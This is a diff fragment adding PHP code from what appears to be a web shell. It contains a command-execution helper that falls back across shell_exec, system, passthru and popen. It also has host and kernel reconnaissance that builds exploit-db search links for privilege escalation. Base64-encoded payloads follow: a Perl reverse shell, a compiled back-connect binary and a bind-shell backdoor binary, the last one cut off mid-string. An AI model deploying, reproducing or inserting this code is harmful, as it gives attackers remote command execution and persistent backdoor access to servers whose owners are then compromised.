+ $res = join("\n",$res);
+ } elseif(function_exists('shell_exec')) {
+ $res = @shell_exec($cf3);
+ } elseif(function_exists('system')) {
+ @ob_start();
+ @system($cf3);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ } elseif(function_exists('passthru')) {
+ @ob_start();
+ @passthru($cf3);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ } elseif(@is_resource($f = @popen($cf3,"r"))) {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ } else { $res = "Ex() D1s4bl3d!"; }
+ }
+ return $res;
+}
+function which($por) {
+ $poath = ex("which $por");
+ if(!empty($poath)) { return $poath; } else { return $por; }
+}
+
+
+$hostname_x = php_uname(n);
+$itshome = getcwd();
+
+if (!$win) {
+ $itshome = str_replace("/home/","~",$itshome);
+ $itshome = str_replace("/public_html","/4n71s3c.php",$itshome);
+}
+else { $itshome = ""; }
+$enumerate = "http://".$hostname_x."/".$itshome."";
+
+
+$Lversion = php_uname(r);
+$OSV = php_uname(s);
+if(eregi("Linux",$OSV)) {
+ $Lversion=substr($Lversion,0,6);
+ $millink="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel ".$Lversion;
+} else {
+ $Lversion=substr($Lversion,0,3);
+ $millink ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".$OSV." ".$Lversion;
+}
+
+
+$bc_p3rl = "IyEvdXNyL2Jpbi9wZXJsDQojN2g0bms1IEFudGlwZWFjZQ0KdXNlIFNvY2tldDsNCm15ICgkaWFkZHIsJHBvcnQsJGNtZCk9QEFSR1Y7DQpteSAkcGFkZHI9c29ja2FkZHJfaW4oJHBvcnQsIGluZXRfYXRvbigkaWFkZHIpKTsNCm15ICRwcm90byA9IGdldHByb3RvYnluYW1lKCJ0Y3AiKTsNCnNvY2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pOw0KY29ubmVjdChTT0NLRVQsICRwYWRkcik7DQpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsNCm9wZW4oU1RESU4sIj4mU09DS0VUIik7DQpwcmludCBTT0NLRVQgIjczczcxbmcgc2gzbGxcbiI7DQpwcmludCBleGVjKCRjbWQpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTs=";
+$bc_c = "ZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUEySVVFQ0RRQUFBQk1EQUFBQUFBQUFEUUFJQUFIQUNnQUhBQVpBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlMQWtBQUN3SkFBQUZBQUFBQUJBQUFBRUFBQUFzQ1FBQUxKa0VDQ3laQkFnNEFRQUFQQUVBQUFZQUFBQUFFQUFBQWdBQUFFQUpBQUJBbVFRSVFKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQlFBQUFCRUFBQUFVQUFBQUFBQUFBQUFBQUFBUkFBQUFFZ0FBQUFjQUFBQUtBQUFBQ3dBQUFBZ0FBQUFQQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZBQUFBQmdBQUFBQUFBQUFCQUFBQUFBQUFBQWtBQUFBQUFBQUFEQUFBQUFBQUFBQUFBQUFBRFFBQUFBNEFBQUFDQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJBQUFBQUFBQUFCd0JBQUFTQUFBQXJBQUFBQUFBQUFCeEFBQUFFZ0FBQUR3QUFBQUFBQUFBQ3dJQUFCSUFBQUJJQUFBQUFBQUFBSDBBQUFBU0FBQUFqQUFBQUFBQUFBQ3NBUUFBRWdBQUFLVUFBQUFBQUFBQXJ3QUFBQklBQUFCakFBQUFBQUFBQUNjQUFBQVNBQUFBa3dBQUFBQUFBQURkQUFBQUVnQUFBRU1BQUFBQUFBQUFPZ0FBQUJJQUFBQmNBQUFBQUFBQUFLb0JBQUFTQUFBQVZnQUFBQUFBQUFBMkFBQUFFZ0FBQUhNQUFBQUFBQUFBMlFBQUFCSUFBQUI0QUFBQUFBQUFBQ2dBQUFBU0FBQUFiUUFBQUFBQUFBQU9BQUFBRWdBQUFDNEFBQUFBQUFBQWVBQUFBQklBQUFCOUFBQUE4SWdFQ0FRQUFBQVJBQTRBVHdBQUFBQUFBQUE1QUFBQUVnQUFBQUVBQUFBQUFBQUFBQUFBQUNBQUFBQVZBQUFBQUFBQUFBQUFBQUFnQUFBQUFGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QWJHbGlZeTV6Ynk0MkFHTnZibTVsWTNRQVpYaGxZMndBY0dWeWNtOXlBR1IxY0RJQWMzbHpkR1Z0QUhOdlkydGxkQUJpZW1WeWJ3QnpkSEpqWVhRQWFXNWxkRjloWkdSeUFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJrWVdWdGIyNEFYMTlzYVdKalgzTjBZWEowWDIxaGFXNEFjM1J5YkdWdUFHTnNiM05sQUVkTVNVSkRYekl1TUFBQUFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUNRQUFBQVFBQUFBQUFBQUFCQnBhUTBBQUFJQXNnQUFBQUFBQUFBSW1nUUlCaE1BQUJpYUJBZ0hBUUFBSEpvRUNBY0NBQUFnbWdRSUJ3TUFBQ1NhQkFnSEJBQUFLSm9FQ0FjRkFBQXNtZ1FJQndZQUFEQ2FCQWdIQndBQU5Kb0VDQWNJQUFBNG1nUUlCd2tBQUR5YUJBZ0hDZ0FBUUpvRUNBY0xBQUJFbWdRSUJ3d0FBRWlhQkFnSERRQUFUSm9FQ0FjT0FBQlFtZ1FJQnc4QUFGU2FCQWdIRVFBQVZZbmxnK3dJNkVFQkFBRG9sQUVBQU9qbkF3QUF5Y01BL3pVUW1nUUkveVVVbWdRSUFBQUFBUDhsR0pvRUNHZ0FBQUFBNmVELy8vLy9KUnlhQkFob0NBQUFBT25RLy8vLy95VWdtZ1FJYUJBQUFBRHB3UC8vLy84bEpKb0VDR2dZQUFBQTZiRC8vLy8vSlNpYUJBaG9JQUFBQU9tZy8vLy8veVVzbWdRSWFDZ0FBQURwa1AvLy8vOGxNSm9FQ0dnd0FBQUE2WUQvLy8vL0pUU2FCQWhvT0FBQUFPbHcvLy8vL3lVNG1nUUlhRUFBQUFEcFlQLy8vLzhsUEpvRUNHaElBQUFBNlZELy8vLy9KVUNhQkFob1VBQUFBT2xBLy8vLy95VkVtZ1FJYUZnQUFBRHBNUC8vLy84bFNKb0VDR2hnQUFBQTZTRC8vLy8vSlV5YUJBaG9hQUFBQU9rUS8vLy8veVZRbWdRSWFIQUFBQURwQVAvLy8vOGxWSm9FQ0doNEFBQUE2ZkQrLy84eDdWNko0WVBrOEZCVVVtaG9pQVFJYUJTSUJBaFJWbWlBaGdRSTZFLy8vLy8wa0pCVmllVlQ2QUFBQUFCYmdjTUhGQUFBVW91RC9QLy8vNFhBZEFMLzBGaGJ5Y09Ra0pCVmllV0Q3QWlBUFdTYUJBZ0FkQS9ySDQxMkFJUEFCS05nbWdRSS85S2hZSm9FQ0lzUWhkSjE2OFlGWkpvRUNBSEp3NG4yVllubGcrd0lvVHlaQkFpRndIUVp1QUFBQUFDRndIUVFnK3dNYUR5WkJBai8wSVBFRUkxMkFNbkRrSkJWaWVWWFZsT0Q3RXlENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRWpYMm92dlNJQkFqOHVRY0FBQUR6cEkxOXIveTVEZ0FBQUxBQTg2cUQ3QWhxQUdvQjZGRCsvLytEeEJCbXgwWElBZ0NEN0F5TFJReUR3QWovTU9pMy92Ly9nOFFRRDdmQWcrd01VT2k0L3YvL2c4UVFab2xGeW9Qc0RJdEZESVBBQlA4dzZESCsvLytEeEJDSlJjeUQ3QWlMUlF5RHdBU0Q3QVQvTU9nSS92Ly9nOFFJaWNPTFJReUR3QWlEN0FUL01PanovZi8vZzhRSWpRUURRRkNMUlF5RHdBVC9NT2d1L3YvL2c4UVFnK3dFYWdacUFXb0M2RzMrLy8rRHhCQ0pSZVNEN0FScUVJMUZ5RkQvZGVUb1J2Ny8vNFBFRUlYQWVScUQ3QXhvQ1lrRUNPaHkvZi8vZzhRUWcrd01hZ0RvOWYzLy80UHNDSXRGRFA4d2pVV29VT2pFL2YvL2c4UVFnK3dNalVXb1VPaFYvZi8vZzhRUWcrd0lhZ0QvZGVUb2xmMy8vNFBFRUlQc0NHb0IvM1hrNklYOS8vK0R4QkNEN0FocUF2OTE1T2gxL2YvL2c4UVFnK3dFYWdCb0Y0a0VDR2dkaVFRSTZONzgvLytEeEJDRDdBei9kZVRvNFB6Ly80UEVFSTFsOUZ0ZVg4bkRrRldKNVZkV1U0UHNET2dBQUFBQVc0SEQ2aEVBQU9pQy9QLy9qWU1nLy8vL2paTWcvLy8vaVVYd0tkQXg5c0g0QWpuR2N4YUoxNG4yL3hTeWkwM3dLZmxHd2ZrQ09jNkorbkx1ZzhRTVcxNWZ5Y09KOWxXSjVWZFdVK2dBQUFBQVc0SERtUkVBQUkyRElQLy8vNDI3SVAvLy95bjR3ZmdDZyt3TWpYRC82d1dRL3hTM1RvUCsvM1gzNkM0QUFBQ0R4QXhiWGwvSnc1Q1FWWW5sVTFLN0xKa0VDS0VzbVFRSTZ3cU5kZ0NENndULzBJc0RnL2ovZGZSWVc4bkRWWW5sVStnQUFBQUFXNEhETXhFQUFGRG9PdjMvLzFsYnljTUFBQU1BQUFBQkFBSUFjbTBnTFdZZ0FBQUFBQUFBQUFBQUFBQUFBQUFBV3kxZElHTnZibTVsWTNRb0tRQnphQ0F0YVFBdlltbHVMM05vQUFBQUFBQUFBQUQvLy8vL0FBQUFBUC8vLy84QUFBQUFBQUFBQUFFQUFBQWtBQUFBREFBQUFMQ0VCQWdOQUFBQTBJZ0VDQVFBQUFCSWdRUUlCUUFBQUNTREJBZ0dBQUFBNUlFRUNBb0FBQUM4QUFBQUN3QUFBQkFBQUFBVkFBQUFBQUFBQUFNQUFBQU1tZ1FJQWdBQUFJQUFBQUFVQUFBQUVRQUFBQmNBQUFBd2hBUUlFUUFBQUNpRUJBZ1NBQUFBQ0FBQUFCTUFBQUFJQUFBQS92Ly9id2lFQkFqLy8vOXZBUUFBQVBELy8yL2dnd1FJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUNaQkFnQUFBQUFBQUFBQU42RUJBanVoQVFJL29RRUNBNkZCQWdlaFFRSUxvVUVDRDZGQkFoT2hRUUlYb1VFQ0c2RkJBaCtoUVFJam9VRUNKNkZCQWl1aFFRSXZvVUVDTTZGQkFnQUFBQUFBQUFBQURpWkJBZ0FSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFMbk41YlhSaFlnQXVjM1J5ZEdGaUFDNXphSE4wY25SaFlnQXVhVzUwWlhKd0FDNXViM1JsTGtGQ1NTMTBZV2NBTG1oaGMyZ0FMbVI1Ym5ONWJRQXVaSGx1YzNSeUFDNW5iblV1ZG1WeWMybHZiZ0F1WjI1MUxuWmxjbk5wYjI1ZmNnQXVjbVZzTG1SNWJnQXVjbVZzTG5Cc2RBQXVhVzVwZEFBdWRHVjRkQUF1Wm1sdWFRQXVjbTlrWVhSaEFDNWxhRjltY21GdFpRQXVZM1J2Y25NQUxtUjBiM0p6QUM1cVkzSUFMbVI1Ym1GdGFXTUFMbWR2ZEFBdVoyOTBMbkJzZEFBdVpHRjBZUUF1WW5OekFDNWpiMjF0Wlc1MEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFBQUFBUUFBQUFJQUFBQVVnUVFJRkFFQUFCTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJd0FBQUFjQUFBQUNBQUFBS0lFRUNDZ0JBQUFnQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQURFQUFBQUZBQUFBQWdBQUFFaUJCQWhJQVFBQW5BQUFBQVFBQUFBQUFBQUFCQUFBQUFRQUFBQTNBQUFBQ3dBQUFBSUFBQURrZ1FRSTVBRUFBRUFCQUFBRkFBQUFBUUFBQUFRQUFBQVFBQUFBUHdBQUFBTUFBQUFDQUFBQUpJTUVDQ1FEQUFDOEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFFY0FBQUQvLy85dkFnQUFBT0NEQkFqZ0F3QUFLQUFBQUFRQUFBQUFBQUFBQWdBQUFBSUFBQUJVQUFBQS92Ly9id0lBQUFBSWhBUUlDQVFBQUNBQUFBQUZBQUFBQVFBQUFBUUFBQUFBQUFBQVl3QUFBQWtBQUFBQ0FBQUFLSVFFQ0NnRUFBQUlBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBR3dBQUFBSkFBQUFBZ0FBQURDRUJBZ3dCQUFBZ0FBQUFBUUFBQUFMQUFBQUJBQUFBQWdBQUFCMUFBQUFBUUFBQUFZQUFBQ3doQVFJc0FRQUFCY0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFjQUFBQUFFQUFBQUdBQUFBeUlRRUNNZ0VBQUFRQVFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUhzQUFBQUJBQUFBQmdBQUFOaUZCQWpZQlFBQStBSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ0JBQUFBQVFBQUFBWUFBQURRaUFRSTBBZ0FBQm9BQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBaHdBQUFBRUFBQUFDQUFBQTdJZ0VDT3dJQUFBNUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJOEFBQUFCQUFBQUFnQUFBQ2lKQkFnb0NRQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNaQUFBQUFRQUFBQU1BQUFBc21RUUlMQWtBQUFnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW9BQUFBQUVBQUFBREFBQUFOSmtFQ0RRSkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS2NBQUFBQkFBQUFBd0FBQUR5WkJBZzhDUUFBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDc0FBQUFCZ0FBQUFNQUFBQkFtUVFJUUFrQUFNZ0FBQUFGQUFBQUFBQUFBQVFBQUFBSUFBQUF0UUFBQUFFQUFBQURBQUFBQ0pvRUNBZ0tBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUxvQUFBQUJBQUFBQXdBQUFBeWFCQWdNQ2dBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBRERBQUFBQVFBQUFBTUFBQUJZbWdRSVdBb0FBQXdBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBeVFBQUFBZ0FBQUFEQUFBQVpKb0VDR1FLQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNNEFBQUFCQUFBQUFBQUFBQUFBQUFCa0NnQUFEZ0VBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFSQUFBQUF3QUFBQUFBQUFBQUFBQUFjZ3NBQU5jQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUlBQUFBQUFBQUFBQUFBQUt3UUFBQkFCUUFBR3dBQUFDd0FBQUFFQUFBQUVBQUFBQWtBQUFBREFBQUFBQUFBQUFBQUFBRHNGUUFBTEFNQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCU0JCQWdBQUFBQUF3QUJBQUFBQUFBb2dRUUlBQUFBQUFNQUFnQUFBQUFBU0lFRUNBQUFBQUFEQUFNQUFBQUFBT1NCQkFnQUFBQUFBd0FFQUFBQUFBQWtnd1FJQUFBQUFBTUFCUUFBQUFBQTRJTUVDQUFBQUFBREFBWUFBQUFBQUFpRUJBZ0FBQUFBQXdBSEFBQUFBQUFvaEFRSUFBQUFBQU1BQ0FBQUFBQUFNSVFFQ0FBQUFBQURBQWtBQUFBQUFMQ0VCQWdBQUFBQUF3QUtBQUFBQUFESWhBUUlBQUFBQUFNQUN3QUFBQUFBMklVRUNBQUFBQUFEQUF3QUFBQUFBTkNJQkFnQUFBQUFBd0FOQUFBQUFBRHNpQVFJQUFBQUFBTUFEZ0FBQUFBQUtJa0VDQUFBQUFBREFBOEFBQUFBQUN5WkJBZ0FBQUFBQXdBUUFBQUFBQUEwbVFRSUFBQUFBQU1BRVFBQUFBQUFQSmtFQ0FBQUFBQURBQklBQUFBQUFFQ1pCQWdBQUFBQUF3QVRBQUFBQUFBSW1nUUlBQUFBQUFNQUZBQUFBQUFBREpvRUNBQUFBQUFEQUJVQUFBQUFBRmlhQkFnQUFBQUFBd0FXQUFBQUFBQmttZ1FJQUFBQUFBTUFGd0FBQUFBQUFBQUFBQUFBQUFBREFCZ0FBQUFBQUFBQUFBQUFBQUFBQXdBWkFBQUFBQUFBQUFBQUFBQUFBQU1BR2dBQUFBQUFBQUFBQUFBQUFBQURBQnNBQVFBQUFQeUZCQWdBQUFBQUFnQU1BQkVBQUFBQUFBQUFBQUFBQUFRQThmOGNBQUFBTEprRUNBQUFBQUFCQUJBQUtnQUFBRFNaQkFnQUFBQUFBUUFSQURnQUFBQThtUVFJQUFBQUFBRUFFZ0JGQUFBQVlKb0VDQUFBQUFBQkFCWUFTUUFBQUdTYUJBZ0JBQUFBQVFBWEFGVUFBQUFnaGdRSUFBQUFBQUlBREFCckFBQUFWSVlFQ0FBQUFBQUNBQXdBRVFBQUFBQUFBQUFBQUFBQUJBRHgvM2NBQUFBd21RUUlBQUFBQUFFQUVBQ0VBQUFBT0prRUNBQUFBQUFCQUJFQWtRQUFBQ2lKQkFnQUFBQUFBUUFQQUo4QUFBQThtUVFJQUFBQUFBRUFFZ0NyQUFBQXJJZ0VDQUFBQUFBQ0FBd0F3UUFBQUFBQUFBQUFBQUFBQkFEeC84Z0FBQUFBQUFBQUhBRUFBQklBQUFEWkFBQUFRSmtFQ0FBQUFBQVJBQk1BNGdBQUFBQUFBQUJ4QUFBQUVnQUFBUE1BQUFEc2lBUUlCQUFBQUJFQURnRDZBQUFBQUFBQUFBc0NBQUFTQUFBQURBRUFBQ3laQkFnQUFBQUFFQUx4L3gwQkFBQmNtZ1FJQUFBQUFCRUNGZ0FxQVFBQWFJZ0VDRUlBQUFBU0FBd0FPZ0VBQUFBQUFBQjlBQUFBRWdBQUFFd0JBQUN3aEFRSUFBQUFBQklBQ2dCU0FRQUFBQUFBQUt3QkFBQVNBQUFBWkFFQUFOaUZCQWdBQUFBQUVnQU1BR3NCQUFBQUFBQUFyd0FBQUJJQUFBQjlBUUFBTEprRUNBQUFBQUFRQXZIL2tBRUFBQlNJQkFoU0FBQUFFZ0FNQUtBQkFBQUFBQUFBSndBQUFCSUFBQUMxQVFBQVpKb0VDQUFBQUFBUUFQSC93UUVBQUlDR0JBaVRBUUFBRWdBTUFNWUJBQUFBQUFBQTNRQUFBQklBQUFEakFRQUFMSmtFQ0FBQUFBQVFBdkgvOUFFQUFBQUFBQUE2QUFBQUVnQUFBQVFDQUFBQUFBQUFxZ0VBQUJJQUFBQVdBZ0FBV0pvRUNBQUFBQUFnQUJZQUlRSUFBTkNJQkFnQUFBQUFFZ0FOQUNjQ0FBQXNtUVFJQUFBQUFCQUM4Zjg3QWdBQUFBQUFBRFlBQUFBU0FBQUFUQUlBQUFBQUFBRFpBQUFBRWdBQUFGd0NBQUFBQUFBQUtBQUFBQklBQUFCc0FnQUFaSm9FQ0FBQUFBQVFBUEgvY3dJQUFBeWFCQWdBQUFBQUVRQVZBSWtDQUFCb21nUUlBQUFBQUJBQThmK09BZ0FBQUFBQUFBNEFBQUFTQUFBQW53SUFBQUFBQUFCNEFBQUFFZ0FBQUxJQ0FBQXNtUVFJQUFBQUFCQUM4Zi9GQWdBQThJZ0VDQVFBQUFBUkFBNEExQUlBQUZpYUJBZ0FBQUFBRUFBV0FPRUNBQUFBQUFBQU9RQUFBQklBQUFEekFnQUFBQUFBQUFBQUFBQWdBQUFBQndNQUFDeVpCQWdBQUFBQUVBTHgveDBEQUFBQUFBQUFBQUFBQUNBQUFBQUFZMkZzYkY5bmJXOXVYM04wWVhKMEFHTnlkSE4wZFdabUxtTUFYMTlEVkU5U1gweEpVMVJmWHdCZlgwUlVUMUpmVEVsVFZGOWZBRjlmU2tOU1gweEpVMVJmWHdCd0xqQUFZMjl0Y0d4bGRHVmtMakVBWDE5a2IxOW5iRzlpWVd4ZlpIUnZjbk5mWVhWNEFHWnlZVzFsWDJSMWJXMTVBRjlmUTFSUFVsOUZUa1JmWHdCZlgwUlVUMUpmUlU1RVgxOEFYMTlHVWtGTlJWOUZUa1JmWHdCZlgwcERVbDlGVGtSZlh3QmZYMlJ2WDJkc2IySmhiRjlqZEc5eWMxOWhkWGdBWW1GamF5NWpBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFYMFJaVGtGTlNVTUFZMnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyUnpiMTlvWVc1a2JHVUFYMTlzYVdKalgyTnpkVjltYVc1cEFITjVjM1JsYlVCQVIweEpRa05mTWk0d0FGOXBibWwwQUdSaFpXMXZia0JBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJ6ZEhKc1pXNUFRRWRNU1VKRFh6SXVNQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5c2FXSmpYMk56ZFY5cGJtbDBBR2x1WlhSZllXUmtja0JBUjB4SlFrTmZNaTR3QUY5ZlluTnpYM04wWVhKMEFHMWhhVzRBWDE5c2FXSmpYM04wWVhKMFgyMWhhVzVBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZaVzVrQUdSMWNESkFRRWRNU1VKRFh6SXVNQUJ6ZEhKallYUkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUY5bWFXNXBBRjlmY0hKbGFXNXBkRjloY25KaGVWOWxibVFBWW5wbGNtOUFRRWRNU1VKRFh6SXVNQUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlIweFBRa0ZNWDA5R1JsTkZWRjlVUVVKTVJWOEFYMlZ1WkFCb2RHOXVjMEJBUjB4SlFrTmZNaTR3QUdOdmJtNWxZM1JBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZjM1JoY25RQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTl3Y21WcGJtbDBYMkZ5Y21GNVgzTjBZWEowQUY5ZloyMXZibDl6ZEdGeWRGOWZBQT09";
+$b4ckd00r = "ZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUFvSVVFQ0RRQUFBRDRFZ0FBQUFBQUFEUUFJQUFIQUNnQUlnQWZBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlyQWtBQUt3SkFBQUZBQUFBQUJBQUFBRUFBQUNzQ1FBQXJKa0VDS3laQkFnMEFRQUFPQUVBQUFZQUFBQUFFQUFBQWdBQUFNQUpBQURBbVFRSXdKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQUFBQUFCRUFBQUFUQUFBQUFBQUFBQUFBQUFBUUFBQUFFUUFBQUFBQUFBQUFBQUFBQ1FBQUFBZ0FBQUFGQUFBQUF3QUFBQTBBQUFBQUFBQUFBQUFBQUE4QUFBQUtBQUFBRWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFCQUFBQUFBQUFBQWNBQUFBTEFBQUFBQUFBQUFRQUFBQU1BQUFBRGdBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUM0QUFBQUFBQUFBZFFFQUFCSUFBQUNnQUFBQUFBQUFBSEVBQUFBU0FBQUFOQUFBQUFBQUFBRE1BQUFBRWdBQUFHb0FBQUFBQUFBQVdnQUFBQklBQUFCTUFBQUFBQUFBQUhnQUFBQVNBQUFBWXdBQUFBQUFBQUE1QUFBQUVnQUFBRmdBQUFBQUFBQUFPUUFBQUJJQUFBQ09BQUFBQUFBQUFPWUFBQUFTQUFBQU93QUFBQUFBQUFBNkFBQUFFZ0FBQUZNQUFBQUFBQUFBT1FBQUFCSUFBQUIxQUFBQUFBQUFBTGtBQUFBU0FBQUFlZ0FBQUFBQUFBQXJBQUFBRWdBQUFFY0FBQUFBQUFBQWVBQUFBQklBQUFCdkFBQUFBQUFBQUE0QUFBQVNBQUFBZndBQUFFaUpCQWdFQUFBQUVRQU9BRUFBQUFBQUFBQUFPUUFBQUJJQUFBQUJBQUFBQUFBQUFBQUFBQUFnQUFBQUZRQUFBQUFBQUFBQUFBQUFJQUFBQUFCZlNuWmZVbVZuYVhOMFpYSkRiR0Z6YzJWekFGOWZaMjF2Ymw5emRHRnlkRjlmQUd4cFltTXVjMjh1TmdCbGVHVmpiQUJ3WlhKeWIzSUFaSFZ3TWdCemIyTnJaWFFBYzJWdVpBQmhZMk5sY0hRQVltbHVaQUJ6WlhSemIyTnJiM0IwQUd4cGMzUmxiZ0JtYjNKckFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJmWDJ4cFltTmZjM1JoY25SZmJXRnBiZ0JqYkc5elpRQkhURWxDUTE4eUxqQUFBQUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQVFBQ0FBQUFBQUFBQUFFQUFRQWtBQUFBRUFBQUFBQUFBQUFRYVdrTkFBQUNBS1lBQUFBQUFBQUFpSm9FQ0FZU0FBQ1ltZ1FJQndFQUFKeWFCQWdIQWdBQW9Kb0VDQWNEQUFDa21nUUlCd1FBQUtpYUJBZ0hCUUFBckpvRUNBY0dBQUN3bWdRSUJ3Y0FBTFNhQkFnSENBQUF1Sm9FQ0FjSkFBQzhtZ1FJQndvQUFNQ2FCQWdIQ3dBQXhKb0VDQWNNQUFESW1nUUlCdzBBQU15YUJBZ0hEZ0FBMEpvRUNBY1FBQUJWaWVXRDdBam9NUUVBQU9pREFRQUE2RnNFQUFESnd3RC9OWkNhQkFqL0paU2FCQWdBQUFBQS95V1ltZ1FJYUFBQUFBRHA0UC8vLy84bG5Kb0VDR2dJQUFBQTZkRC8vLy8vSmFDYUJBaG9FQUFBQU9uQS8vLy8veVdrbWdRSWFCZ0FBQURwc1AvLy8vOGxxSm9FQ0dnZ0FBQUE2YUQvLy8vL0pheWFCQWhvS0FBQUFPbVEvLy8vL3lXd21nUUlhREFBQUFEcGdQLy8vLzhsdEpvRUNHZzRBQUFBNlhELy8vLy9KYmlhQkFob1FBQUFBT2xnLy8vLy95VzhtZ1FJYUVnQUFBRHBVUC8vLy84bHdKb0VDR2hRQUFBQTZVRC8vLy8v